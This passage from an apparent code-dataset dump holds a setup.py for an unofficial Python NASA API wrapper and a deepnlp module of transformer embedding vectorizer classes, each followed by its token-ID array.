467, 1159, 30004, 13, 462, 1678, 5217, 29918, 2914, 353, 1583, 29889, 2168, 3173, 568, 29889, 26081, 29889, 8143, 29918, 26081, 29898, 26081, 3366, 1204, 20068, 30004, 13, 30004, 13, 9651, 396, 816, 11272, 2425, 304, 3349, 28598, 2540, 30004, 13, 9651, 4138, 29918, 816, 287, 2540, 353, 1583, 29889, 2168, 3173, 568, 29889, 12083, 29889, 657, 29918, 12083, 29918, 816, 287, 2540, 29898, 12083, 3366, 1204, 20068, 30004, 13, 9651, 4138, 29918, 816, 287, 2540, 29918, 3126, 353, 4138, 29918, 816, 287, 2540, 29889, 3126, 26471, 13, 9651, 565, 938, 29898, 12083, 29918, 816, 287, 2540, 29918, 3126, 3366, 397, 532, 29889, 2798, 20068, 1405, 29871, 29900, 29901, 30004, 13, 18884, 363, 20410, 297, 4138, 29918, 816, 287, 2540, 29918, 3126, 3366, 1767, 3108, 29901, 30004, 13, 462, 1678, 12183, 29889, 3888, 703, 2772, 1026, 292, 20410, 15691, 20410, 3366, 1170, 3108, 13578, 304, 9801, 2117, 3097, 304, 5217, 3847, 4138, 29898, 29879, 467, 1159, 30004, 13, 462, 1678, 5217, 29918, 2914, 353, 1583, 29889, 2168, 3173, 568, 29889, 816, 11272, 29889, 8143, 29918, 816, 11272, 29898, 816, 11272, 3366, 1204, 20068, 30004, 13, 30004, 13, 9651, 363, 16653, 297, 16653, 29879, 29901, 30004, 13, 18884, 565, 16653, 3366, 6595, 287, 12924, 1204, 3108, 1275, 4138, 3366, 1204, 3108, 29901, 30004, 13, 462, 1678, 12183, 29889, 3888, 703, 2772, 1026, 292, 16653, 15691, 28045, 3366, 1204, 3108, 13578, 304, 9801, 2117, 3097, 304, 5217, 3847, 4138, 29898, 29879, 467, 1159, 30004, 13, 462, 1678, 1583, 29889, 2168, 3173, 568, 29889, 28045, 29889, 8143, 29918, 28045, 29898, 28045, 3366, 1204, 20068, 30004, 13, 30004, 13, 9651, 1121, 353, 1583, 29889, 2168, 3173, 568, 29889, 12083, 29889, 8143, 29918, 12083, 29898, 12083, 3366, 1204, 20068, 30004, 13, 9651, 4982, 29918, 2914, 353, 1583, 29889, 2168, 3173, 568, 29889, 10685, 29918, 1454, 29918, 9057, 29918, 517, 29918, 8835, 29898, 2914, 29889, 3126, 580, 3366, 397, 532, 29889, 333, 20068, 30004, 13, 30004, 13, 30004, 13, 4706, 1121, 353, 1583, 29889, 2168, 3173, 568, 29889, 12083, 29889, 8143, 29918, 12083, 29898, 3560, 29918, 333, 8443, 13, 30004, 13, 4706, 4982, 29918, 2914, 353, 1583, 29889, 2168, 3173, 568, 29889, 10685, 29918, 1454, 29918, 9057, 29918, 517, 29918, 8835, 29898, 2914, 29889, 3126, 580, 3366, 397, 532, 29889, 333, 20068, 30004, 13, 30004, 13, 4706, 396, 6812, 29901, 445, 5692, 304, 367, 278, 871, 982, 411, 1438, 3153, 17643, 304, 8161, 263, 9150, 1065, 313, 2783, 29886, 568, 3935, 2643, 8118, 8443, 13, 4706, 565, 4982, 29918, 2914, 29901, 30004, 13, 9651, 565, 4982, 29918, 2914, 3366, 397, 532, 29889, 2704, 3108, 3366, 4906, 3108, 3366, 1767, 3108, 1275, 376, 1576, 4982, 13285, 2106, 338, 4567, 29889, 1115, 30004, 13, 18884, 12183, 29889, 3888, 703, 14191, 3730, 11132, 4138, 29898, 29879, 29897, 322, 4475, 4452, 29889, 3940, 29901, 4138, 322, 777, 4452, 674, 3933, 297, 1162, 29891, 19914, 9016, 2745, 4340, 3158, 338, 4586, 23157, 30004, 13, 30004, 13, 2 ]
setup.py
wrap-api/python-nasa
0
132642
<gh_stars>0 from typing import List, Text import nasa from setuptools import setup with open("README.md") as readme_file: readme: Text = readme_file.read() requirements: List[Text] = ["requests", "pillow"] test_requirements: List[Text] = ["requests", "pre-commit", "pillow", "wheel"] setup( name="python-nasa", version=nasa.__version__, description="Unofficial Python Wrapper for NASA API", long_description=readme, long_description_content_type="text/markdown", url="https://github.com/wrap-api/python-nasa", download_url="https://github.com/wrap-api/python-nasa/archive/main.tar.gz", author=nasa.__author__, author_email=nasa.__email__, packages=["nasa"], package_dir={"nasa": "nasa"}, include_package_data=True, license="MIT", install_requires=requirements, tests_require=test_requirements, keywords="nasa planet astronomy image galaxy earth", classifiers=[ "Development Status :: 2 - Pre-Alpha", "Intended Audience :: Developers", "License :: OSI Approved :: MIT License", "Natural Language :: English", "Programming Language :: Python :: 3.8", "Programming Language :: Python :: 3.9", ], )
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29900, 13, 3166, 19229, 1053, 2391, 29892, 3992, 13, 5215, 8281, 29874, 13, 13, 3166, 731, 21245, 8789, 1053, 6230, 13, 13, 2541, 1722, 703, 16310, 2303, 29889, 3487, 1159, 408, 1303, 1004, 29918, 1445, 29901, 13, 1678, 1303, 1004, 29901, 3992, 353, 1303, 1004, 29918, 1445, 29889, 949, 580, 13, 13, 12277, 1860, 29901, 2391, 29961, 1626, 29962, 353, 6796, 24830, 613, 376, 29886, 453, 340, 3108, 13, 13, 1688, 29918, 12277, 1860, 29901, 2391, 29961, 1626, 29962, 353, 6796, 24830, 613, 376, 1457, 29899, 15060, 613, 376, 29886, 453, 340, 613, 376, 29893, 10552, 3108, 13, 13, 14669, 29898, 13, 1678, 1024, 543, 4691, 29899, 29876, 11290, 613, 13, 1678, 1873, 29922, 29876, 11290, 17255, 3259, 1649, 29892, 13, 1678, 6139, 543, 29965, 1217, 7880, 5132, 399, 6794, 363, 24206, 3450, 613, 13, 1678, 1472, 29918, 8216, 29922, 949, 1004, 29892, 13, 1678, 1472, 29918, 8216, 29918, 3051, 29918, 1853, 543, 726, 29914, 3502, 3204, 613, 13, 1678, 3142, 543, 991, 597, 3292, 29889, 510, 29914, 6312, 29899, 2754, 29914, 4691, 29899, 29876, 11290, 613, 13, 1678, 5142, 29918, 2271, 543, 991, 597, 3292, 29889, 510, 29914, 6312, 29899, 2754, 29914, 4691, 29899, 29876, 11290, 29914, 10867, 29914, 3396, 29889, 12637, 29889, 18828, 613, 13, 1678, 4148, 29922, 29876, 11290, 17255, 8921, 1649, 29892, 13, 1678, 4148, 29918, 5269, 29922, 29876, 11290, 17255, 5269, 1649, 29892, 13, 1678, 9741, 29922, 3366, 29876, 11290, 12436, 13, 1678, 3577, 29918, 3972, 3790, 29908, 29876, 11290, 1115, 376, 29876, 11290, 10758, 13, 1678, 3160, 29918, 5113, 29918, 1272, 29922, 5574, 29892, 13, 1678, 19405, 543, 26349, 613, 13, 1678, 2601, 29918, 276, 339, 2658, 29922, 12277, 1860, 29892, 13, 1678, 6987, 29918, 12277, 29922, 1688, 29918, 12277, 1860, 29892, 13, 1678, 29361, 543, 29876, 11290, 15754, 20932, 29891, 1967, 15400, 29891, 8437, 613, 13, 1678, 770, 14903, 11759, 13, 4706, 376, 21956, 358, 16034, 4761, 29871, 29906, 448, 4721, 29899, 28630, 613, 13, 4706, 376, 2928, 2760, 319, 4749, 663, 4761, 10682, 414, 613, 13, 4706, 376, 29931, 293, 1947, 4761, 438, 5425, 28268, 1490, 4761, 341, 1806, 19245, 613, 13, 4706, 376, 29940, 18771, 17088, 4761, 4223, 613, 13, 4706, 376, 9283, 4056, 17088, 4761, 5132, 4761, 29871, 29941, 29889, 29947, 613, 13, 4706, 376, 9283, 4056, 17088, 4761, 5132, 4761, 29871, 29941, 29889, 29929, 613, 13, 1678, 21251, 13, 29897, 13, 2 ]
src/python/zensols/deepnlp/transformer/vectorizers.py
plandes/deepnlp
7
133065
<gh_stars>1-10 """Contains classes that are used to vectorize documents in to transformer embeddings. """ __author__ = '<NAME>' from typing import Tuple, List, Dict from dataclasses import dataclass, field import logging from itertools import chain import torch from torch import Tensor from zensols.persist import persisted, Deallocatable from zensols.deeplearn.vectorize import ( VectorizerError, TensorFeatureContext, EncodableFeatureVectorizer, FeatureContext, MultiFeatureContext, AggregateEncodableFeatureVectorizer, NominalEncodedEncodableFeatureVectorizer ) from zensols.nlp import FeatureDocument, TokenAnnotatedFeatureSentence from zensols.deepnlp.vectorize import ( EmbeddingFeatureVectorizer, TextFeatureType, FeatureDocumentVectorizer ) from . import ( TransformerEmbedding, TokenizedDocument, TokenizedFeatureDocument ) logger = logging.getLogger(__name__) @dataclass class TransformerFeatureContext(FeatureContext, Deallocatable): """A vectorizer feature contex used with :class:`.TransformerEmbeddingFeatureVectorizer`. """ document: TokenizedDocument = field() """The document used to create the transformer embeddings. """ def deallocate(self): super().deallocate() self._try_deallocate(self.document) del self.document @dataclass class TransformerFeatureVectorizer(EmbeddingFeatureVectorizer, FeatureDocumentVectorizer): """Base class for classes that vectorize transformer models. This class also tokenizes documents. """ is_labeler: bool = field(default=False) """If ``True``, make this a labeling specific vectorizer. Otherwise, certain layers will use the output of the vectorizer as features rather than the labels. """ def _assert_token_output(self, expected: str = 'last_hidden_state'): if self.embed_model.output != expected: raise VectorizerError(f"""\ Expanders only work at the token level, so output such as \ `{expected}`, which provides an output for each token in the \ transformer embedding, is required, got: {self.embed_model.output}""") @property def feature_type(self) -> TextFeatureType: if self.is_labeler: return TextFeatureType.NONE else: return self.FEATURE_TYPE @property def word_piece_token_length(self) -> int: return self.embed_model.tokenizer.word_piece_token_length def _get_shape(self) -> Tuple[int, int]: return self.word_piece_token_length, self.embed_model.vector_dimension def tokenize(self, doc: FeatureDocument) -> TokenizedFeatureDocument: """Tokenize the document in to a token document used by the encoding phase. :param doc: the document to be tokenized """ emb: TransformerEmbedding = self.embed_model if logger.isEnabledFor(logging.DEBUG): logger.debug(f'synthesized document: {doc}') return emb.tokenize(doc) @dataclass class TransformerEmbeddingFeatureVectorizer(TransformerFeatureVectorizer): """A feature vectorizer used to create transformer (i.e. Bert) embeddings. The class uses the :obj:`.embed_model`, which is of type :class:`.TransformerEmbedding`. Note the encoding input ideally are sentences shorter than 512 tokens. However, this vectorizer can accommodate both :class:`.FeatureSentence` and :class:`.FeatureDocument` instances. """ DESCRIPTION = 'transformer document embedding' FEATURE_TYPE = TextFeatureType.EMBEDDING def __post_init__(self): super().__post_init__() if self.encode_transformed and self.embed_model.trainable: # once the transformer last hidden state is dumped during encode # the parameters are lost, which are needed to train the model # properly raise VectorizerError('a trainable model can not encode ' + 'transformed vectorized features') def _encode(self, doc: FeatureDocument) -> FeatureContext: tok_doc = self.tokenize(doc).detach() return TransformerFeatureContext(self.feature_id, tok_doc) def _decode(self, context: TransformerFeatureContext) -> Tensor: emb: TransformerEmbedding = self.embed_model if logger.isEnabledFor(logging.INFO): logger.info(f'decoding {len(context.document)} documents with ' + f'trainable: {emb.trainable}') tok_doc: TokenizedDocument arr: Tensor if emb.trainable: arr = context.document.tensor if logger.isEnabledFor(logging.DEBUG): logger.debug(f'passing through tensor: {arr.shape}') else: if logger.isEnabledFor(logging.DEBUG): logger.debug(f'transforming doc: {context.document}') arr = emb.transform(context.document) if logger.isEnabledFor(logging.INFO): logger.info(f'decoded trans layer {arr.shape} on {arr.device}') return arr @dataclass class TransformerExpanderFeatureContext(MultiFeatureContext): """A vectorizer feature contex used with :class:`.TransformerExpanderFeatureVectorizer`. """ document: TokenizedDocument = field() """The document used to create the transformer embeddings. """ def deallocate(self): super().deallocate() self._try_deallocate(self.document) del self.document @dataclass class TransformerExpanderFeatureVectorizer(TransformerFeatureVectorizer): """A vectorizer that expands lingustic feature vectors to their respective locations as word piece token vectors. This is used to concatenate lingustic features with Bert (and other transformer) embeddings. Each lingustic token is copied in the word piece token location across all vectorizers and sentences. :shape: (-1, token length, X), where X is the sum of all the delegate shapes across all three dimensions """ DESCRIPTION = 'transformer expander' FEATURE_TYPE = TextFeatureType.TOKEN delegate_feature_ids: Tuple[str] = field(default=None) """A list of feature IDs of vectorizers whose output will be expanded.""" def __post_init__(self): super().__post_init__() if self.delegate_feature_ids is None: raise VectorizerError('expected attribute: delegate_feature_ids') self._assert_token_output() self._validated = False def _validate(self): if not self._validated: for vec in self.delegates: if hasattr(vec, 'feature_tye') and \ vec.feature_type != TextFeatureType.TOKEN: raise VectorizerError('Only token level vectorizers are ' + f'supported, but got {vec}') self._validated = True def _get_shape(self) -> Tuple[int, int]: shape = [-1, self.word_piece_token_length, 0] vec: FeatureDocumentVectorizer for vec in self.delegates: shape[2] += vec.shape[-1] return tuple(shape) @property @persisted('_delegates', allocation_track=False) def delegates(self) -> EncodableFeatureVectorizer: """The delegates used for encoding and decoding the lingustic features. """ return tuple(map(lambda f: self.manager[f], self.delegate_feature_ids)) def _encode(self, doc: FeatureDocument) -> FeatureContext: self._validate() tok_doc = self.tokenize(doc).detach() cxs = tuple(map(lambda vec: vec.encode(doc), self.delegates)) return TransformerExpanderFeatureContext(self.feature_id, cxs, tok_doc) def _decode(self, context: TransformerExpanderFeatureContext) -> Tensor: doc: TokenizedDocument = context.document arrs: List[Tensor] = [] # decode subordinate contexts vec: FeatureDocumentVectorizer ctx: FeatureContext for vec, ctx in zip(self.delegates, context.contexts): src = vec.decode(ctx) if logger.isEnabledFor(logging.DEBUG): logger.debug(f'decoded shape ({vec.feature_id}): {src.shape}') arrs.append(src) # get the mapping per sentence wps_sents = tuple(map(lambda s: doc.map_word_pieces(s), doc.offsets)) tlen = self.word_piece_token_length # use variable length tokens if tlen <= 0: tlen = max(chain.from_iterable( chain.from_iterable( map(lambda s: map(lambda t: t[1], s), wps_sents)))) # max findes the largest index, so add 1 for size tlen += 1 # add another (to be zero) for the ending sentence boudary tlen += 1 if doc.boundary_tokens else 0 # number of sentences n_sents = len(wps_sents) # feature dimension (last dimension) dim = sum(map(lambda x: x.size(-1), arrs)) # tensor to populate marr = self.torch_config.zeros((n_sents, tlen, dim)) if logger.isEnabledFor(logging.DEBUG): logger.debug(f'sents: {n_sents}, token length: {tlen}, dim: {dim}') sent: Tensor arr: Tensor wps: Tuple[Tuple[Tensor, List[int]]] marrix = 0 # iterate feature vectors for arr in arrs: ln = arr.size(-1) meix = marrix + ln if logger.isEnabledFor(logging.DEBUG): logger.debug(f'feature range: [{marrix}:{meix}]') # iterate sentences for six, (sent, wps) in enumerate(zip(doc.offsets, wps_sents)): if logger.isEnabledFor(logging.DEBUG): logger.debug(f'expanding for {arr.shape} in ' + f'[{six},:,{marrix}:{meix}]') # iterate lingustic / word piece tokens for tix, wpixs in wps: # for each word piece mapping, copy the source feature # vector to the target, thereby expanding and increasing # the size of the last dimsion for wix in wpixs: if False and logger.isEnabledFor(logging.DEBUG): logger.debug(f'[{six}, {wix}, {marrix}:{meix}] ' + f'= [{six}, {tix}]') marr[six, wix, marrix:meix] = arr[six, tix] marrix += ln return marr @dataclass class TransformerNominalFeatureVectorizer( AggregateEncodableFeatureVectorizer, TransformerFeatureVectorizer): """This creates word piece (maps to tokens) labels. This class uses a :class:`~zensols.deeplearn.vectorize.NominalEncodedEncodableFeatureVectorizer`` to map from string labels to their nominal long values. This allows a single instance and centralized location where the label mapping happens in case other (non-transformer) components need to vectorize labels. """ DESCRIPTION = 'transformer seq labeler' FEATURE_TYPE = TextFeatureType.TOKEN delegate_feature_id: str = field(default=None) """The feature ID for the aggregate encodeable feature vectorizer.""" is_labeler: bool = field(default=True) """If ``True``, make this a labeling specific vectorizer. Otherwise, certain layers will use the output of the vectorizer as features rather than the labels. """ label_all_tokens: bool = field(default=False) """If ``True``, label all word piece tokens with the corresponding linguistic token label. Otherwise, the default padded value is used, and thus, ignored by the loss function when calculating loss. """ def __post_init__(self): super().__post_init__() if self.delegate_feature_id is None: raise VectorizerError('expected attribute: delegate_feature_id') self._assert_token_output() def _get_shape(self) -> Tuple[int, int]: shape = super()._get_shape() return (-1, self.word_piece_token_length, shape[-1]) def _encode(self, doc: FeatureDocument) -> FeatureContext: delegate: NominalEncodedEncodableFeatureVectorizer = self.delegate tdoc: TokenizedDocument = self.tokenize(doc) by_label: Dict[str, int] = delegate.by_label n_sents = len(doc) if self.word_piece_token_length > 0: n_toks = self.word_piece_token_length else: n_toks = len(tdoc) if logger.isEnabledFor(logging.DEBUG): logger.debug('encoding using {n_toks} tokens with wp len: ' + f'{self.word_piece_token_length}') dtype: torch.dtype = delegate.data_type arr = self.create_padded_tensor((n_sents, n_toks, 1), dtype) if logger.isEnabledFor(logging.DEBUG): logger.debug(f'output shape: {arr.shape}/{self.shape}') sent: TokenAnnotatedFeatureSentence for six, sent in enumerate(doc): sent_labels = sent.annotations word_ids = tdoc.offsets[six] previous_word_idx = None for tix, word_idx in enumerate(word_ids): # special tokens have a word id that is None. We set the label # to -100 so they are automatically ignored in the loss # function. if word_idx == -1: pass # we set the label for the first token of each word. elif word_idx != previous_word_idx: arr[six][tix] = by_label[sent_labels[word_idx]] # for the other tokens in a word, we set the label to either # the current label or -100, depending on the label_all_tokens # flag elif self.label_all_tokens: arr[six][tix] = by_label[sent_labels[word_idx]] previous_word_idx = word_idx return TensorFeatureContext(self.feature_id, arr) def _decode(self, context: TransformerFeatureContext) -> Tensor: return TransformerFeatureVectorizer._decode(self, context)
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 15945, 29908, 21409, 4413, 393, 526, 1304, 304, 4608, 675, 10701, 297, 304, 4327, 261, 13, 17987, 29881, 886, 29889, 13, 13, 15945, 29908, 13, 1649, 8921, 1649, 353, 12801, 5813, 16299, 13, 13, 3166, 19229, 1053, 12603, 552, 29892, 2391, 29892, 360, 919, 13, 3166, 848, 13203, 1053, 848, 1990, 29892, 1746, 13, 5215, 12183, 13, 3166, 4256, 8504, 1053, 9704, 13, 5215, 4842, 305, 13, 3166, 4842, 305, 1053, 323, 6073, 13, 3166, 503, 575, 3775, 29889, 6774, 391, 1053, 3736, 12652, 29892, 897, 15956, 17219, 13, 3166, 503, 575, 3775, 29889, 311, 29872, 552, 2753, 29889, 8111, 675, 1053, 313, 13, 1678, 16510, 3950, 2392, 29892, 323, 6073, 19132, 2677, 29892, 11346, 397, 519, 19132, 12877, 3950, 29892, 13, 1678, 5169, 1535, 2677, 29892, 14974, 19132, 2677, 29892, 319, 26127, 403, 8566, 397, 519, 19132, 12877, 3950, 29892, 13, 1678, 20583, 979, 8566, 6797, 8566, 397, 519, 19132, 12877, 3950, 13, 29897, 13, 3166, 503, 575, 3775, 29889, 12938, 29886, 1053, 5169, 1535, 6268, 29892, 25159, 2744, 1333, 630, 19132, 29903, 296, 663, 13, 3166, 503, 575, 3775, 29889, 24535, 12938, 29886, 29889, 8111, 675, 1053, 313, 13, 1678, 2812, 2580, 8497, 19132, 12877, 3950, 29892, 3992, 19132, 1542, 29892, 5169, 1535, 6268, 12877, 3950, 13, 29897, 13, 3166, 869, 1053, 313, 13, 1678, 4103, 24784, 6026, 2580, 8497, 29892, 25159, 1891, 6268, 29892, 25159, 1891, 19132, 6268, 13, 29897, 13, 13, 21707, 353, 12183, 29889, 657, 16363, 22168, 978, 1649, 29897, 13, 13, 13, 29992, 1272, 1990, 13, 1990, 4103, 24784, 19132, 2677, 29898, 19132, 2677, 29892, 897, 15956, 17219, 1125, 13, 1678, 9995, 29909, 4608, 3950, 4682, 378, 4776, 1304, 411, 13, 1678, 584, 1990, 29901, 1412, 13372, 261, 6026, 2580, 8497, 19132, 12877, 3950, 1412, 13, 13, 1678, 9995, 13, 1678, 1842, 29901, 25159, 1891, 6268, 353, 1746, 580, 13, 1678, 9995, 1576, 1842, 1304, 304, 1653, 278, 4327, 261, 8297, 29881, 886, 29889, 13, 13, 1678, 9995, 13, 13, 1678, 822, 5376, 2029, 403, 29898, 1311, 1125, 13, 4706, 2428, 2141, 311, 15956, 403, 580, 13, 4706, 1583, 3032, 2202, 29918, 311, 15956, 403, 29898, 1311, 29889, 3225, 29897, 13, 4706, 628, 1583, 29889, 3225, 13, 13, 13, 29992, 1272, 1990, 13, 1990, 4103, 24784, 19132, 12877, 3950, 29898, 6026, 2580, 8497, 19132, 12877, 3950, 29892, 13, 462, 462, 259, 5169, 1535, 6268, 12877, 3950, 1125, 13, 1678, 9995, 5160, 770, 363, 4413, 393, 4608, 675, 4327, 261, 4733, 29889, 29871, 910, 770, 884, 13, 1678, 5993, 7093, 10701, 29889, 13, 13, 1678, 9995, 13, 1678, 338, 29918, 1643, 261, 29901, 6120, 353, 1746, 29898, 4381, 29922, 8824, 29897, 13, 1678, 9995, 3644, 4954, 5574, 29952, 1673, 1207, 445, 263, 3858, 292, 2702, 4608, 3950, 29889, 29871, 13466, 29892, 3058, 13, 1678, 15359, 674, 671, 278, 1962, 310, 278, 4608, 3950, 408, 5680, 3265, 1135, 278, 13, 1678, 11073, 29889, 13, 13, 1678, 9995, 13, 13, 1678, 822, 903, 9294, 29918, 6979, 29918, 4905, 29898, 1311, 29892, 3806, 29901, 851, 353, 525, 4230, 29918, 10892, 29918, 3859, 29374, 13, 4706, 565, 1583, 29889, 17987, 29918, 4299, 29889, 4905, 2804, 3806, 29901, 13, 9651, 12020, 16510, 3950, 2392, 29898, 29888, 15945, 26732, 13, 29777, 414, 871, 664, 472, 278, 5993, 3233, 29892, 577, 1962, 1316, 408, 320, 13, 29952, 29912, 9684, 29913, 1673, 607, 8128, 385, 1962, 363, 1269, 5993, 297, 278, 320, 13, 9067, 261, 23655, 29892, 338, 3734, 29892, 2355, 29901, 426, 1311, 29889, 17987, 29918, 4299, 29889, 4905, 5038, 29908, 1159, 13, 13, 1678, 732, 6799, 13, 1678, 822, 4682, 29918, 1853, 29898, 1311, 29897, 1599, 3992, 19132, 1542, 29901, 13, 4706, 565, 1583, 29889, 275, 29918, 1643, 261, 29901, 13, 9651, 736, 3992, 19132, 1542, 29889, 29940, 12413, 13, 4706, 1683, 29901, 13, 9651, 736, 1583, 29889, 16359, 1299, 11499, 29918, 11116, 13, 13, 1678, 732, 6799, 13, 1678, 822, 1734, 29918, 12343, 346, 29918, 6979, 29918, 2848, 29898, 1311, 29897, 1599, 938, 29901, 13, 4706, 736, 1583, 29889, 17987, 29918, 4299, 29889, 6979, 3950, 29889, 1742, 29918, 12343, 346, 29918, 6979, 29918, 2848, 13, 13, 1678, 822, 903, 657, 29918, 12181, 29898, 1311, 29897, 1599, 12603, 552, 29961, 524, 29892, 938, 5387, 13, 4706, 736, 1583, 29889, 1742, 29918, 12343, 346, 29918, 6979, 29918, 2848, 29892, 1583, 29889, 17987, 29918, 4299, 29889, 8111, 29918, 6229, 2673, 13, 13, 1678, 822, 5993, 675, 29898, 1311, 29892, 1574, 29901, 5169, 1535, 6268, 29897, 1599, 25159, 1891, 19132, 6268, 29901, 13, 4706, 9995, 6066, 675, 278, 1842, 297, 304, 263, 5993, 1842, 1304, 491, 278, 8025, 8576, 29889, 13, 13, 4706, 584, 3207, 1574, 29901, 278, 1842, 304, 367, 5993, 1891, 13, 13, 4706, 9995, 13, 4706, 7232, 29901, 4103, 24784, 6026, 2580, 8497, 353, 1583, 29889, 17987, 29918, 4299, 13, 4706, 565, 17927, 29889, 275, 10861, 2831, 29898, 21027, 29889, 18525, 1125, 13, 9651, 17927, 29889, 8382, 29898, 29888, 29915, 19274, 26041, 1891, 1842, 29901, 426, 1514, 29913, 1495, 13, 4706, 736, 7232, 29889, 6979, 675, 29898, 1514, 29897, 13, 13, 13, 29992, 1272, 1990, 13, 1990, 4103, 24784, 6026, 2580, 8497, 19132, 12877, 3950, 29898, 13372, 261, 19132, 12877, 3950, 1125, 13, 1678, 9995, 29909, 4682, 4608, 3950, 1304, 304, 1653, 4327, 261, 313, 29875, 29889, 29872, 29889, 16662, 29897, 8297, 29881, 886, 29889, 29871, 450, 13, 1678, 770, 3913, 278, 584, 5415, 29901, 1412, 17987, 29918, 4299, 1673, 607, 338, 310, 1134, 13, 1678, 584, 1990, 29901, 1412, 13372, 261, 6026, 2580, 8497, 1412, 13, 13, 1678, 3940, 278, 8025, 1881, 1957, 635, 526, 25260, 20511, 1135, 29871, 29945, 29896, 29906, 18897, 29889, 13, 1678, 2398, 29892, 445, 4608, 3950, 508, 24803, 403, 1716, 584, 1990, 29901, 1412, 19132, 29903, 296, 663, 29952, 322, 13, 1678, 584, 1990, 29901, 1412, 19132, 6268, 29952, 8871, 29889, 13, 13, 1678, 9995, 13, 1678, 23050, 24290, 2725, 353, 525, 9067, 261, 1842, 23655, 29915, 13, 1678, 383, 29923, 1299, 11499, 29918, 11116, 353, 3992, 19132, 1542, 29889, 29923, 9486, 3352, 29928, 4214, 13, 13, 1678, 822, 4770, 2490, 29918, 2344, 12035, 1311, 1125, 13, 4706, 2428, 2141, 1649, 2490, 29918, 2344, 1649, 580, 13, 4706, 565, 1583, 29889, 12508, 29918, 9067, 287, 322, 1583, 29889, 17987, 29918, 4299, 29889, 14968, 519, 29901, 13, 9651, 396, 2748, 278, 4327, 261, 1833, 7934, 2106, 338, 16766, 287, 2645, 19750, 13, 9651, 396, 278, 4128, 526, 5714, 29892, 607, 526, 4312, 304, 7945, 278, 1904, 13, 9651, 396, 6284, 13, 9651, 12020, 16510, 3950, 2392, 877, 29874, 7945, 519, 1904, 508, 451, 19750, 525, 718, 13, 462, 462, 29871, 525, 9067, 287, 4608, 1891, 5680, 1495, 13, 13, 1678, 822, 903, 12508, 29898, 1311, 29892, 1574, 29901, 5169, 1535, 6268, 29897, 1599, 5169, 1535, 2677, 29901, 13, 4706, 304, 29895, 29918, 1514, 353, 1583, 29889, 6979, 675, 29898, 1514, 467, 4801, 496, 580, 13, 4706, 736, 4103, 24784, 19132, 2677, 29898, 1311, 29889, 14394, 29918, 333, 29892, 304, 29895, 29918, 1514, 29897, 13, 13, 1678, 822, 903, 13808, 29898, 1311, 29892, 3030, 29901, 4103, 24784, 19132, 2677, 29897, 1599, 323, 6073, 29901, 13, 4706, 7232, 29901, 4103, 24784, 6026, 2580, 8497, 353, 1583, 29889, 17987, 29918, 4299, 13, 4706, 565, 17927, 29889, 275, 10861, 2831, 29898, 21027, 29889, 11690, 1125, 13, 9651, 17927, 29889, 3888, 29898, 29888, 29915, 7099, 3689, 426, 2435, 29898, 4703, 29889, 3225, 2915, 10701, 411, 525, 718, 13, 462, 4706, 285, 29915, 14968, 519, 29901, 426, 1590, 29889, 14968, 519, 29913, 1495, 13, 4706, 304, 29895, 29918, 1514, 29901, 25159, 1891, 6268, 13, 4706, 3948, 29901, 323, 6073, 13, 4706, 565, 7232, 29889, 14968, 519, 29901, 13, 9651, 3948, 353, 3030, 29889, 3225, 29889, 20158, 13, 9651, 565, 17927, 29889, 275, 10861, 2831, 29898, 21027, 29889, 18525, 1125, 13, 18884, 17927, 29889, 8382, 29898, 29888, 29915, 3364, 292, 1549, 12489, 29901, 426, 2749, 29889, 12181, 29913, 1495, 13, 4706, 1683, 29901, 13, 9651, 565, 17927, 29889, 275, 10861, 2831, 29898, 21027, 29889, 18525, 1125, 13, 18884, 17927, 29889, 8382, 29898, 29888, 29915, 9067, 292, 1574, 29901, 426, 4703, 29889, 3225, 29913, 1495, 13, 9651, 3948, 353, 7232, 29889, 9067, 29898, 4703, 29889, 3225, 29897, 13, 4706, 565, 17927, 29889, 275, 10861, 2831, 29898, 21027, 29889, 11690, 1125, 13, 9651, 17927, 29889, 3888, 29898, 29888, 29915, 7099, 6797, 1301, 7546, 426, 2749, 29889, 12181, 29913, 373, 426, 2749, 29889, 10141, 29913, 1495, 13, 4706, 736, 3948, 13, 13, 13, 29992, 1272, 1990, 13, 1990, 4103, 24784, 9544, 3825, 19132, 2677, 29898, 15329, 19132, 2677, 1125, 13, 1678, 9995, 29909, 4608, 3950, 4682, 378, 4776, 1304, 411, 13, 1678, 584, 1990, 29901, 1412, 13372, 261, 9544, 3825, 19132, 12877, 3950, 1412, 13, 13, 1678, 9995, 13, 1678, 1842, 29901, 25159, 1891, 6268, 353, 1746, 580, 13, 1678, 9995, 1576, 1842, 1304, 304, 1653, 278, 4327, 261, 8297, 29881, 886, 29889, 13, 13, 1678, 9995, 13, 13, 1678, 822, 5376, 2029, 403, 29898, 1311, 1125, 13, 4706, 2428, 2141, 311, 15956, 403, 580, 13, 4706, 1583, 3032, 2202, 29918, 311, 15956, 403, 29898, 1311, 29889, 3225, 29897, 13, 4706, 628, 1583, 29889, 3225, 13, 13, 13, 29992, 1272, 1990, 13, 1990, 4103, 24784, 9544, 3825, 19132, 12877, 3950, 29898, 13372, 261, 19132, 12877, 3950, 1125, 13, 1678, 9995, 29909, 4608, 3950, 393, 1518, 4167, 16850, 504, 293, 4682, 12047, 304, 1009, 18067, 13, 1678, 14354, 408, 1734, 8424, 5993, 12047, 29889, 13, 13, 1678, 910, 338, 1304, 304, 16125, 403, 16850, 504, 293, 5680, 411, 16662, 313, 392, 916, 13, 1678, 4327, 261, 29897, 8297, 29881, 886, 29889, 29871, 7806, 16850, 504, 293, 5993, 338, 13746, 297, 278, 1734, 8424, 13, 1678, 5993, 4423, 4822, 599, 4608, 19427, 322, 25260, 29889, 13, 13, 1678, 584, 12181, 29901, 8521, 29896, 29892, 5993, 3309, 29892, 1060, 511, 988, 1060, 338, 278, 2533, 310, 599, 278, 13341, 13, 9651, 25834, 4822, 599, 2211, 13391, 13, 13, 1678, 9995, 13, 1678, 23050, 24290, 2725, 353, 525, 9067, 261, 1518, 3825, 29915, 13, 1678, 383, 29923, 1299, 11499, 29918, 11116, 353, 3992, 19132, 1542, 29889, 4986, 29968, 1430, 13, 13, 1678, 13341, 29918, 14394, 29918, 4841, 29901, 12603, 552, 29961, 710, 29962, 353, 1746, 29898, 4381, 29922, 8516, 29897, 13, 1678, 9995, 29909, 1051, 310, 4682, 23481, 310, 4608, 19427, 5069, 1962, 674, 367, 17832, 1213, 15945, 13, 13, 1678, 822, 4770, 2490, 29918, 2344, 12035, 1311, 1125, 13, 4706, 2428, 2141, 1649, 2490, 29918, 2344, 1649, 580, 13, 4706, 565, 1583, 29889, 